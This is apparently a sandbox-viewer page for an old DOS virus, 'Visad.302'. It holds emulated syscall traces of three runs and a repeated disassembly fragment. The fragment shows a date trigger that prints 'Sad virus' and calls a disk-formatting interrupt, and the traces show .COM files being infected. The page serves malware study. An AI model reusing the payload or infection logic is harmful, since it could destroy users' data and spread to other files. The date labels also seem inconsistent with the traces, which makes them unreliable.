Sample viewer

vx.netlux.org/Virus.DOS.Visad.302

.

GIF

Syscalls:

Time Syscall Op Syscall Name
2018-12-17T22:25:32.347077404Z 42 PC: 12a46 | Get date 0x12a46: cmp dh, 9
0x12a49: jne 0x12a64
0x12a4b: mov dx, 0x20f
0x12a4e: mov ah, 9
0x12a50: int 0x21
0x12a52: mov ah, 0x19
0x12a54: int 0x21
0x12a56: mov dl, al
0x12a58: mov ah, 5
0x12a5a: mov cl, 1
0x12a5c: mov ch, 0
0x12a5e: mov dh, 0
0x12a60: mov al, 0x10
0x12a62: int 0x13
0x12a64: mov cx, 0x80
0x12a67: mov si, 0x80
0x12a6a: mov di, 0xff7f
0x12a6d: rep movsb byte ptr es:[di], byte ptr [si]
0x12a6f: mov ax, 0x22e
0x12a72: mov cx, ax
2018-12-17T22:25:32.349730709Z 78 PC: 12a9f | Find first file
2018-12-17T22:25:32.365197268Z 47 PC: 12aaa | Get disk transfer address
2018-12-17T22:25:32.366951329Z 61 PC: 12ac0 | Open file (Filename = 'SLEEP.COM')
2018-12-17T22:25:32.374481253Z 87 PC: 12ac7 | Get or set file date and time
2018-12-17T22:25:32.376909922Z 63 PC: 12ad5 | Read file or device (Read 407 bytes on handle 5)
2018-12-17T22:25:32.388799554Z 60 PC: 12af4 | Create or truncate file
2018-12-17T22:25:32.41455706Z 64 PC: 12b06 | Write file or device (Write 709 bytes on handle 6)
2018-12-17T22:25:32.42469398Z 87 PC: 12b0d | Get or set file date and time
2018-12-17T22:25:32.427179404Z 62 PC: 12b11 | Close file
2018-12-17T22:25:32.435834741Z 79 PC: 12b16 | Find next file
2018-12-17T22:25:32.446558521Z 47 PC: 12aaa | Get disk transfer address
2018-12-17T22:25:32.448046509Z 61 PC: 12ac0 | Open file (Filename = 'PRINT.COM')
2018-12-17T22:25:32.45582194Z 87 PC: 12ac7 | Get or set file date and time
2018-12-17T22:25:32.457397954Z 63 PC: 12ad5 | Read file or device (Read 27 bytes on handle 6)
2018-12-17T22:25:32.465621516Z 60 PC: 12af4 | Create or truncate file
2018-12-17T22:25:32.479931349Z 64 PC: 12b06 | Write file or device (Write 329 bytes on handle 7)
2018-12-17T22:25:32.484306455Z 87 PC: 12b0d | Get or set file date and time
2018-12-17T22:25:32.48700883Z 62 PC: 12b11 | Close file
2018-12-17T22:25:32.495761256Z 79 PC: 12b16 | Find next file
2018-12-17T22:25:32.49884739Z 47 PC: 12aaa | Get disk transfer address
2018-12-17T22:25:32.500779165Z 61 PC: 12ac0 | Open file (Filename = 'HELLO.COM')
2018-12-17T22:25:32.508030687Z 87 PC: 12ac7 | Get or set file date and time
2018-12-17T22:25:32.509632016Z 63 PC: 12ad5 | Read file or device (Read 92 bytes on handle 7)
2018-12-17T22:25:32.517489186Z 60 PC: 12af4 | Create or truncate file
2018-12-17T22:25:32.532088545Z 64 PC: 12b06 | Write file or device (Write 394 bytes on handle 8)
2018-12-17T22:25:32.536818711Z 87 PC: 12b0d | Get or set file date and time
2018-12-17T22:25:32.539621118Z 62 PC: 12b11 | Close file
2018-12-17T22:25:32.549282036Z 79 PC: 12b16 | Find next file
2018-12-17T22:25:32.552619267Z 47 PC: 12aaa | Get disk transfer address
2018-12-17T22:25:32.554272898Z 61 PC: 12ac0 | Open file (Filename = 'PHANG.COM')
2018-12-17T22:25:32.561687287Z 87 PC: 12ac7 | Get or set file date and time
2018-12-17T22:25:32.563260507Z 63 PC: 12ad5 | Read file or device (Read 29 bytes on handle 8)
2018-12-17T22:25:32.578423852Z 60 PC: 12af4 | Create or truncate file
2018-12-17T22:25:32.600927538Z 64 PC: 12b06 | Write file or device (Write 331 bytes on handle 9)
2018-12-17T22:25:32.605190682Z 87 PC: 12b0d | Get or set file date and time
2018-12-17T22:25:32.607063327Z 62 PC: 12b11 | Close file
2018-12-17T22:25:32.61663089Z 79 PC: 12b16 | Find next file
2018-12-17T22:25:32.619951219Z 47 PC: 12aaa | Get disk transfer address
2018-12-17T22:25:32.621570974Z 61 PC: 12ac0 | Open file (Filename = 'PRINTA~1.COM')
2018-12-17T22:25:32.63023739Z 87 PC: 12ac7 | Get or set file date and time
2018-12-17T22:25:32.632183037Z 63 PC: 12ad5 | Read file or device (Read 29 bytes on handle 9)
2018-12-17T22:25:32.639360416Z 60 PC: 12af4 | Create or truncate file
2018-12-17T22:25:32.653904368Z 64 PC: 12b06 | Write file or device (Write 331 bytes on handle 10)
2018-12-17T22:25:32.657959613Z 87 PC: 12b0d | Get or set file date and time
2018-12-17T22:25:32.660373987Z 62 PC: 12b11 | Close file
2018-12-17T22:25:32.669478351Z 79 PC: 12b16 | Find next file
2018-12-17T22:25:32.672644025Z 47 PC: 12aaa | Get disk transfer address
2018-12-17T22:25:32.67387087Z 61 PC: 12ac0 | Open file (Filename = 'MANDEL.COM')
2018-12-17T22:25:32.682378267Z 87 PC: 12ac7 | Get or set file date and time
2018-12-17T22:25:32.68397904Z 63 PC: 12ad5 | Read file or device (Read 501 bytes on handle 10)
2018-12-17T22:25:32.691055239Z 60 PC: 12af4 | Create or truncate file
2018-12-17T22:25:32.719381979Z 64 PC: 12b06 | Write file or device (Write 803 bytes on handle 11)
2018-12-17T22:25:32.729418203Z 87 PC: 12b0d | Get or set file date and time
2018-12-17T22:25:32.738105921Z 62 PC: 12b11 | Close file
2018-12-17T22:25:32.747538152Z 79 PC: 12b16 | Find next file
2018-12-17T22:25:32.751496218Z 47 PC: 12aaa | Get disk transfer address
2018-12-17T22:25:32.753298388Z 61 PC: 12ac0 | Open file (Filename = 'PAH.COM')
2018-12-17T22:25:32.761077517Z 87 PC: 12ac7 | Get or set file date and time
2018-12-17T22:25:32.763538043Z 63 PC: 12ad5 | Read file or device (Read 29 bytes on handle 11)
2018-12-17T22:25:32.770875496Z 60 PC: 12af4 | Create or truncate file
2018-12-17T22:25:32.784546329Z 64 PC: 12b06 | Write file or device (Write 331 bytes on handle 12)
2018-12-17T22:25:32.790167136Z 87 PC: 12b0d | Get or set file date and time
2018-12-17T22:25:32.79218284Z 62 PC: 12b11 | Close file
2018-12-17T22:25:32.801186514Z 79 PC: 12b16 | Find next file
2018-12-17T22:25:32.805316533Z 47 PC: 12aaa | Get disk transfer address
2018-12-17T22:25:32.807515247Z 61 PC: 12ac0 | Open file (Filename = 'TEST.COM')
2018-12-17T22:25:32.81488893Z 87 PC: 12ac7 | Get or set file date and time
2018-12-17T22:25:32.817358463Z 63 PC: 12ad5 | Read file or device (Read 307 bytes on handle 12)
2018-12-17T22:25:32.820332922Z 79 PC: 12b16 | Find next file
2018-12-17T22:25:32.823529354Z 76 PC: 12a45 | Terminate with return code (Return code = '0')

{"DateBased":true,"Day":1,"Month":9,"Year":1980,"Hour":0,"Min":0,"Second":0,"TimeBased":false,"OriginalID":4517,"SideJobID":0}

.

GIF

Syscalls:

Time Syscall Op Syscall Name
2018-12-25T11:51:55.702921772Z 42 PC: 12a46 | Get date 0x12a46: cmp dh, 9
0x12a49: jne 0x12a64
0x12a4b: mov dx, 0x20f
0x12a4e: mov ah, 9
0x12a50: int 0x21
0x12a52: mov ah, 0x19
0x12a54: int 0x21
0x12a56: mov dl, al
0x12a58: mov ah, 5
0x12a5a: mov cl, 1
0x12a5c: mov ch, 0
0x12a5e: mov dh, 0
0x12a60: mov al, 0x10
0x12a62: int 0x13
0x12a64: mov cx, 0x80
0x12a67: mov si, 0x80
0x12a6a: mov di, 0xff7f
0x12a6d: rep movsb byte ptr es:[di], byte ptr [si]
0x12a6f: mov ax, 0x22e
0x12a72: mov cx, ax
2018-12-25T11:51:55.704946459Z 9 PC: 12a52 | Display string (String= 'Sad virus - 24/8/91 ')
2018-12-25T11:51:55.708377188Z 25 PC: 12a56 | Get default drive
2018-12-25T11:51:55.712978299Z 78 PC: 12a9f | Find first file
2018-12-25T11:51:55.719439789Z 47 PC: 12aaa | Get disk transfer address
2018-12-25T11:51:55.720886284Z 61 PC: 12ac0 | Open file (Filename = 'SLEEP.COM')
2018-12-25T11:51:55.727965213Z 87 PC: 12ac7 | Get or set file date and time
2018-12-25T11:51:55.729620233Z 63 PC: 12ad5 | Read file or device (Read 407 bytes on handle 5)
2018-12-25T11:51:55.737215337Z 60 PC: 12af4 | Create or truncate file
2018-12-25T11:51:55.757783248Z 64 PC: 12b06 | Write file or device (Write 709 bytes on handle 6)
2018-12-25T11:51:55.772864234Z 87 PC: 12b0d | Get or set file date and time
2018-12-25T11:51:55.774472557Z 62 PC: 12b11 | Close file
2018-12-25T11:51:55.779813944Z 79 PC: 12b16 | Find next file
2018-12-25T11:51:55.782153385Z 47 PC: 12aaa | Get disk transfer address (See above)
2018-12-25T11:51:55.783429612Z 61 PC: 12ac0 | Open file (See above)
2018-12-25T11:51:55.787859384Z 87 PC: 12ac7 | Get or set file date and time (See above)
2018-12-25T11:51:55.78896251Z 63 PC: 12ad5 | Read file or device (See above)
2018-12-25T11:51:55.793679704Z 60 PC: 12af4 | Create or truncate file (See above)
2018-12-25T11:51:55.806800578Z 64 PC: 12b06 | Write file or device (See above)
2018-12-25T11:51:55.81078168Z 87 PC: 12b0d | Get or set file date and time (See above)
2018-12-25T11:51:55.812739669Z 62 PC: 12b11 | Close file (See above)
2018-12-25T11:51:55.821149481Z 79 PC: 12b16 | Find next file (See above)
2018-12-25T11:51:55.824015023Z 47 PC: 12aaa | Get disk transfer address (See above)
2018-12-25T11:51:55.825314275Z 61 PC: 12ac0 | Open file (See above)
2018-12-25T11:51:55.832464709Z 87 PC: 12ac7 | Get or set file date and time (See above)
2018-12-25T11:51:55.833914316Z 63 PC: 12ad5 | Read file or device (See above)
2018-12-25T11:51:55.840740099Z 60 PC: 12af4 | Create or truncate file (See above)
2018-12-25T11:51:55.859917234Z 64 PC: 12b06 | Write file or device (See above)
2018-12-25T11:51:55.863658654Z 87 PC: 12b0d | Get or set file date and time (See above)
2018-12-25T11:51:55.865219279Z 62 PC: 12b11 | Close file (See above)
2018-12-25T11:51:55.874755212Z 79 PC: 12b16 | Find next file (See above)
2018-12-25T11:51:55.8778041Z 47 PC: 12aaa | Get disk transfer address (See above)
2018-12-25T11:51:55.879190194Z 61 PC: 12ac0 | Open file (See above)
2018-12-25T11:51:55.886702779Z 87 PC: 12ac7 | Get or set file date and time (See above)
2018-12-25T11:51:55.888223546Z 63 PC: 12ad5 | Read file or device (See above)
2018-12-25T11:51:55.895424301Z 79 PC: 12b16 | Find next file (See above)
2018-12-25T11:51:55.898956858Z 47 PC: 12aaa | Get disk transfer address (See above)
2018-12-25T11:51:55.900566823Z 61 PC: 12ac0 | Open file (See above)
2018-12-25T11:51:55.90815796Z 87 PC: 12ac7 | Get or set file date and time (See above)
2018-12-25T11:51:55.910576523Z 63 PC: 12ad5 | Read file or device (See above)
2018-12-25T11:51:56.000186689Z 81 PC: 122cc | Get current PSP
2018-12-25T11:51:56.001299622Z 2 PC: 1268d | Character output (Char = '0d')
2018-12-25T11:51:56.00429472Z 2 PC: 1268d | Character output (See above)
2018-12-25T11:51:56.00849879Z 89 PC: 12459 | Get extended error info
2018-12-25T11:51:56.009955578Z 2 PC: 1268d | Character output (See above)
2018-12-25T11:51:56.012548515Z 2 PC: 1268d | Character output (See above)
2018-12-25T11:51:56.015159197Z 2 PC: 1268d | Character output (See above)
2018-12-25T11:51:56.017430706Z 2 PC: 1268d | Character output (See above)
2018-12-25T11:51:56.019614515Z 2 PC: 1268d | Character output (See above)
2018-12-25T11:51:56.022461779Z 2 PC: 1268d | Character output (See above)
2018-12-25T11:51:56.025108671Z 2 PC: 1268d | Character output (See above)
2018-12-25T11:51:56.030635549Z 2 PC: 1268d | Character output (See above)
2018-12-25T11:51:56.035745476Z 2 PC: 1268d | Character output (See above)
2018-12-25T11:51:56.039533755Z 2 PC: 1268d | Character output (See above)
2018-12-25T11:51:56.041237614Z 2 PC: 1268d | Character output (See above)
2018-12-25T11:51:56.043414683Z 2 PC: 1268d | Character output (See above)
2018-12-25T11:51:56.045728465Z 2 PC: 1268d | Character output (See above)
2018-12-25T11:51:56.049199378Z 2 PC: 1268d | Character output (See above)
2018-12-25T11:51:56.051021139Z 2 PC: 1268d | Character output (See above)
2018-12-25T11:51:56.05289708Z 2 PC: 1268d | Character output (See above)
2018-12-25T11:51:56.054603625Z 2 PC: 126da | Character output (Char = '72')
2018-12-25T11:51:56.056883377Z 2 PC: 126da | Character output (See above)
2018-12-25T11:51:56.058474222Z 2 PC: 126da | Character output (See above)
2018-12-25T11:51:56.060061846Z 2 PC: 126da | Character output (See above)
2018-12-25T11:51:56.062145762Z 2 PC: 126da | Character output (See above)
2018-12-25T11:51:56.063770154Z 2 PC: 126da | Character output (See above)
2018-12-25T11:51:56.065518826Z 2 PC: 126da | Character output (See above)
2018-12-25T11:51:56.0673239Z 2 PC: 1268d | Character output (See above)
2018-12-25T11:51:56.069180535Z 2 PC: 1268d | Character output (See above)
2018-12-25T11:51:56.070873814Z 2 PC: 1268d | Character output (See above)
2018-12-25T11:51:56.072607987Z 2 PC: 1268d | Character output (See above)
2018-12-25T11:51:56.074769326Z 2 PC: 1268d | Character output (See above)
2018-12-25T11:51:56.076584359Z 2 PC: 1268d | Character output (See above)
2018-12-25T11:51:56.078919191Z 2 PC: 1268d | Character output (See above)
2018-12-25T11:51:56.0818338Z 2 PC: 126ce | Character output (Char = '41')
2018-12-25T11:51:56.084542398Z 2 PC: 1268d | Character output (See above)
2018-12-25T11:51:56.087231161Z 2 PC: 1268d | Character output (See above)
2018-12-25T11:51:56.092489011Z 2 PC: 1268d | Character output (See above)
2018-12-25T11:51:56.094961358Z 2 PC: 1268d | Character output (See above)
2018-12-25T11:51:56.097591862Z 2 PC: 1268d | Character output (See above)
2018-12-25T11:51:56.100866692Z 2 PC: 1268d | Character output (See above)
2018-12-25T11:51:56.103469019Z 2 PC: 1268d | Character output (See above)
2018-12-25T11:51:56.105979634Z 2 PC: 1268d | Character output (See above)
2018-12-25T11:51:56.11198457Z 2 PC: 1268d | Character output (See above)
2018-12-25T11:51:56.115546143Z 2 PC: 1268d | Character output (See above)
2018-12-25T11:51:56.118095806Z 2 PC: 1268d | Character output (See above)
2018-12-25T11:51:56.121854353Z 2 PC: 1268d | Character output (See above)
2018-12-25T11:51:56.124467869Z 2 PC: 1268d | Character output (See above)
2018-12-25T11:51:56.126980738Z 2 PC: 1268d | Character output (See above)
2018-12-25T11:51:56.130373349Z 2 PC: 1268d | Character output (See above)
2018-12-25T11:51:56.133074387Z 2 PC: 1268d | Character output (See above)
2018-12-25T11:51:56.135723843Z 2 PC: 1268d | Character output (See above)
2018-12-25T11:51:56.138831428Z 2 PC: 1268d | Character output (See above)
2018-12-25T11:51:56.142134302Z 2 PC: 1268d | Character output (See above)
2018-12-25T11:51:56.144502197Z 2 PC: 1268d | Character output (See above)
2018-12-25T11:51:56.146735317Z 2 PC: 1268d | Character output (See above)
2018-12-25T11:51:56.149575548Z 2 PC: 1268d | Character output (See above)
2018-12-25T11:51:56.152337183Z 2 PC: 1268d | Character output (See above)
2018-12-25T11:51:56.1547404Z 2 PC: 1268d | Character output (See above)
2018-12-25T11:51:56.157467185Z 2 PC: 1268d | Character output (See above)
2018-12-25T11:51:56.159688892Z 2 PC: 1268d | Character output (See above)
2018-12-25T11:51:56.161951727Z 2 PC: 1268d | Character output (See above)
2018-12-25T11:51:56.164560818Z 2 PC: 1268d | Character output (See above)
2018-12-25T11:51:56.166955794Z 2 PC: 1268d | Character output (See above)
2018-12-25T11:51:56.169292264Z 12 PC: 12581 | Flush input buffer and input

{"DateBased":true,"Day":1,"Month":1,"Year":1980,"Hour":0,"Min":0,"Second":0,"TimeBased":false,"OriginalID":4517,"SideJobID":0}

.

GIF

Syscalls:

Time Syscall Op Syscall Name
2018-12-25T11:51:56.082850102Z 42 PC: 12a46 | Get date 0x12a46: cmp dh, 9
0x12a49: jne 0x12a64
0x12a4b: mov dx, 0x20f
0x12a4e: mov ah, 9
0x12a50: int 0x21
0x12a52: mov ah, 0x19
0x12a54: int 0x21
0x12a56: mov dl, al
0x12a58: mov ah, 5
0x12a5a: mov cl, 1
0x12a5c: mov ch, 0
0x12a5e: mov dh, 0
0x12a60: mov al, 0x10
0x12a62: int 0x13
0x12a64: mov cx, 0x80
0x12a67: mov si, 0x80
0x12a6a: mov di, 0xff7f
0x12a6d: rep movsb byte ptr es:[di], byte ptr [si]
0x12a6f: mov ax, 0x22e
0x12a72: mov cx, ax
2018-12-25T11:51:56.085505759Z 78 PC: 12a9f | Find first file
2018-12-25T11:51:56.092287948Z 47 PC: 12aaa | Get disk transfer address
2018-12-25T11:51:56.093487086Z 61 PC: 12ac0 | Open file (Filename = 'SLEEP.COM')
2018-12-25T11:51:56.101551014Z 87 PC: 12ac7 | Get or set file date and time
2018-12-25T11:51:56.103932013Z 63 PC: 12ad5 | Read file or device (Read 407 bytes on handle 5)
2018-12-25T11:51:56.111132299Z 60 PC: 12af4 | Create or truncate file
2018-12-25T11:51:56.131558502Z 64 PC: 12b06 | Write file or device (Write 709 bytes on handle 6)
2018-12-25T11:51:56.141330292Z 87 PC: 12b0d | Get or set file date and time
2018-12-25T11:51:56.143351607Z 62 PC: 12b11 | Close file
2018-12-25T11:51:56.152342071Z 79 PC: 12b16 | Find next file
2018-12-25T11:51:56.156175022Z 47 PC: 12aaa | Get disk transfer address (See above)
2018-12-25T11:51:56.157555188Z 61 PC: 12ac0 | Open file (See above)
2018-12-25T11:51:56.164923012Z 87 PC: 12ac7 | Get or set file date and time (See above)
2018-12-25T11:51:56.167208488Z 63 PC: 12ad5 | Read file or device (See above)
2018-12-25T11:51:56.175189601Z 60 PC: 12af4 | Create or truncate file (See above)
2018-12-25T11:51:56.189112972Z 64 PC: 12b06 | Write file or device (See above)
2018-12-25T11:51:56.194196995Z 87 PC: 12b0d | Get or set file date and time (See above)
2018-12-25T11:51:56.196529336Z 62 PC: 12b11 | Close file (See above)
2018-12-25T11:51:56.20598713Z 79 PC: 12b16 | Find next file (See above)
2018-12-25T11:51:56.209434654Z 47 PC: 12aaa | Get disk transfer address (See above)
2018-12-25T11:51:56.222430605Z 61 PC: 12ac0 | Open file (See above)
2018-12-25T11:51:56.229659053Z 87 PC: 12ac7 | Get or set file date and time (See above)
2018-12-25T11:51:56.231357018Z 63 PC: 12ad5 | Read file or device (See above)
2018-12-25T11:51:56.238669828Z 60 PC: 12af4 | Create or truncate file (See above)
2018-12-25T11:51:56.252873213Z 64 PC: 12b06 | Write file or device (See above)
2018-12-25T11:51:56.256702295Z 87 PC: 12b0d | Get or set file date and time (See above)
2018-12-25T11:51:56.258491216Z 62 PC: 12b11 | Close file (See above)
2018-12-25T11:51:56.267149772Z 79 PC: 12b16 | Find next file (See above)
2018-12-25T11:51:56.270109158Z 47 PC: 12aaa | Get disk transfer address (See above)
2018-12-25T11:51:56.272361668Z 61 PC: 12ac0 | Open file (See above)
2018-12-25T11:51:56.280394064Z 87 PC: 12ac7 | Get or set file date and time (See above)
2018-12-25T11:51:56.282737108Z 63 PC: 12ad5 | Read file or device (See above)
2018-12-25T11:51:56.291366511Z 60 PC: 12af4 | Create or truncate file (See above)
2018-12-25T11:51:56.30557635Z 64 PC: 12b06 | Write file or device (See above)
2018-12-25T11:51:56.309717934Z 87 PC: 12b0d | Get or set file date and time (See above)
2018-12-25T11:51:56.312396023Z 62 PC: 12b11 | Close file (See above)
2018-12-25T11:51:56.321881238Z 79 PC: 12b16 | Find next file (See above)
2018-12-25T11:51:56.324792555Z 47 PC: 12aaa | Get disk transfer address (See above)
2018-12-25T11:51:56.326271556Z 61 PC: 12ac0 | Open file (See above)
2018-12-25T11:51:56.334193628Z 87 PC: 12ac7 | Get or set file date and time (See above)
2018-12-25T11:51:56.335716712Z 63 PC: 12ad5 | Read file or device (See above)
2018-12-25T11:51:56.34298471Z 60 PC: 12af4 | Create or truncate file (See above)
2018-12-25T11:51:56.357713183Z 64 PC: 12b06 | Write file or device (See above)
2018-12-25T11:51:56.361823633Z 87 PC: 12b0d | Get or set file date and time (See above)
2018-12-25T11:51:56.37564506Z 62 PC: 12b11 | Close file (See above)
2018-12-25T11:51:56.391090522Z 79 PC: 12b16 | Find next file (See above)
2018-12-25T11:51:56.39396729Z 47 PC: 12aaa | Get disk transfer address (See above)
2018-12-25T11:51:56.395130278Z 61 PC: 12ac0 | Open file (See above)
2018-12-25T11:51:56.411184309Z 87 PC: 12ac7 | Get or set file date and time (See above)
2018-12-25T11:51:56.413193438Z 63 PC: 12ad5 | Read file or device (See above)
2018-12-25T11:51:56.420463974Z 60 PC: 12af4 | Create or truncate file (See above)
2018-12-25T11:51:56.443464214Z 64 PC: 12b06 | Write file or device (See above)
2018-12-25T11:51:56.453970607Z 87 PC: 12b0d | Get or set file date and time (See above)
2018-12-25T11:51:56.456220094Z 62 PC: 12b11 | Close file (See above)
2018-12-25T11:51:56.466681233Z 79 PC: 12b16 | Find next file (See above)
2018-12-25T11:51:56.469975515Z 47 PC: 12aaa | Get disk transfer address (See above)
2018-12-25T11:51:56.471401517Z 61 PC: 12ac0 | Open file (See above)
2018-12-25T11:51:56.479588828Z 87 PC: 12ac7 | Get or set file date and time (See above)
2018-12-25T11:51:56.481863811Z 63 PC: 12ad5 | Read file or device (See above)
2018-12-25T11:51:56.489187341Z 60 PC: 12af4 | Create or truncate file (See above)
2018-12-25T11:51:56.504013526Z 64 PC: 12b06 | Write file or device (See above)
2018-12-25T11:51:56.509149253Z 87 PC: 12b0d | Get or set file date and time (See above)
2018-12-25T11:51:56.510985383Z 62 PC: 12b11 | Close file (See above)
2018-12-25T11:51:56.520604579Z 79 PC: 12b16 | Find next file (See above)
2018-12-25T11:51:56.525067063Z 47 PC: 12aaa | Get disk transfer address (See above)
2018-12-25T11:51:56.527407286Z 61 PC: 12ac0 | Open file (See above)
2018-12-25T11:51:56.536637068Z 87 PC: 12ac7 | Get or set file date and time (See above)
2018-12-25T11:51:56.540845625Z 63 PC: 12ad5 | Read file or device (See above)
2018-12-25T11:51:56.544681117Z 79 PC: 12b16 | Find next file (See above)
2018-12-25T11:51:56.548286752Z 76 PC: 12a45 | Terminate with return code (Return code = '0')